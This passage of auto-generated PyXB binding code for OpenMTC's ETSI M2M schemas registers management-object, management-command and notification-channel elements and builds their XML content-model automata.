fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, False)]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_8, True)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_8, False)]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_9, True)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_9, False)]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_10, True)]))
st_10._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
MgmtCmd._Automaton = _BuildAutomaton_57()
ExecReqArgsList._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'execReqArg'),
ExecReqArg, scope=ExecReqArgsList,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
52, 12)))
def _BuildAutomaton_58():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_58
del _BuildAutomaton_58
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
52, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ExecReqArgsList._UseForTag(
pyxb.namespace.ExpandedName(None, u'execReqArg')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
52, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ExecReqArgsList._Automaton = _BuildAutomaton_58()
ExecReqArg._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'name'),
pyxb.binding.datatypes.string, scope=ExecReqArg,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
59, 12)))
ExecReqArg._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'value'),
pyxb.binding.datatypes.anyType, scope=ExecReqArg,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
60, 12)))
def _BuildAutomaton_59():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_59
del _BuildAutomaton_59
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(
ExecReqArg._UseForTag(pyxb.namespace.ExpandedName(None, u'name')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
59, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(
ExecReqArg._UseForTag(pyxb.namespace.ExpandedName(None, u'value')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
60, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ExecReqArg._Automaton = _BuildAutomaton_59()
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=MgmtObj,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtObj,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtObj,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtObj,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=MgmtObj, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=MgmtObj,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contentType'),
pyxb.binding.datatypes.string, scope=MgmtObj,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 106,
4)))
MgmtObj._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'moID'),
pyxb.binding.datatypes.string, scope=MgmtObj,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
8, 4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'originalMO'),
pyxb.binding.datatypes.string, scope=MgmtObj,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 10,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'description'),
pyxb.binding.datatypes.string, scope=MgmtObj,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 12,
4)))
MgmtObj._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'parametersCollection'),
NamedReferenceCollection, scope=MgmtObj,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 14,
4)))
def _BuildAutomaton_60():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_60
del _BuildAutomaton_60
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
15, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
16, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
17, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
18, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
19, 12))
counters.add(cc_7)
cc_8 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
20, 12))
counters.add(cc_8)
cc_9 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
23, 12))
counters.add(cc_9)
cc_10 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
25, 12))
counters.add(cc_10)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = None
symbol = pyxb.binding.content.ElementUse(
MgmtObj._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'moID')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
17, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'originalMO')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
18, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contentType')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
19, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
final_update = None
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'description')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
20, 12))
st_8 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_8)
final_update = set()
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'parametersCollection')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
22, 12))
st_9 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_9)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_9, False))
symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
23, 12))
st_10 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_10)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_10, False))
symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(
process_contents=pyxb.binding.content.Wildcard.PC_lax,
namespace_constraint=(
pyxb.binding.content.Wildcard.NC_not, u'http://uri.etsi.org/m2m')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd',
25, 12))
st_11 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_11)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_7, False)]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_8, True)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_8, False)]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
]))
transitions.append(fac.Transition(st_11, [
]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_9, True)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_9, False)]))
st_10._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_10, True)]))
st_11._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
MgmtObj._Automaton = _BuildAutomaton_60()
MgmtObjs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=MgmtObjs,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
MgmtObjs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtObjs,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
MgmtObjs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtObjs,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
MgmtObjs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=MgmtObjs,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
MgmtObjs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjCollection'),
NamedReferenceCollection, scope=MgmtObjs,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 21,
4)))
MgmtObjs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'mgmtCmdCollection'),
NamedReferenceCollection, scope=MgmtObjs,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 22,
4)))
def _BuildAutomaton_61():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_61
del _BuildAutomaton_61
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
10, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
11, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
12, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
15, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
16, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
17, 12))
counters.add(cc_5)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
10, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
11, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
12, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'mgmtCmdCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd',
17, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
st_5._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
MgmtObjs._Automaton = _BuildAutomaton_61()
NotificationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=NotificationChannel,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
NotificationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=NotificationChannel,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
NotificationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contactURI'),
pyxb.binding.datatypes.anyURI, scope=NotificationChannel,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 136,
4)))
NotificationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'channelType'), ChannelType,
scope=NotificationChannel, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 138,
4)))
NotificationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'channelData'), ChannelData,
scope=NotificationChannel, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 146,
4)))
def _BuildAutomaton_62():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_62
del _BuildAutomaton_62
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
12, 12))
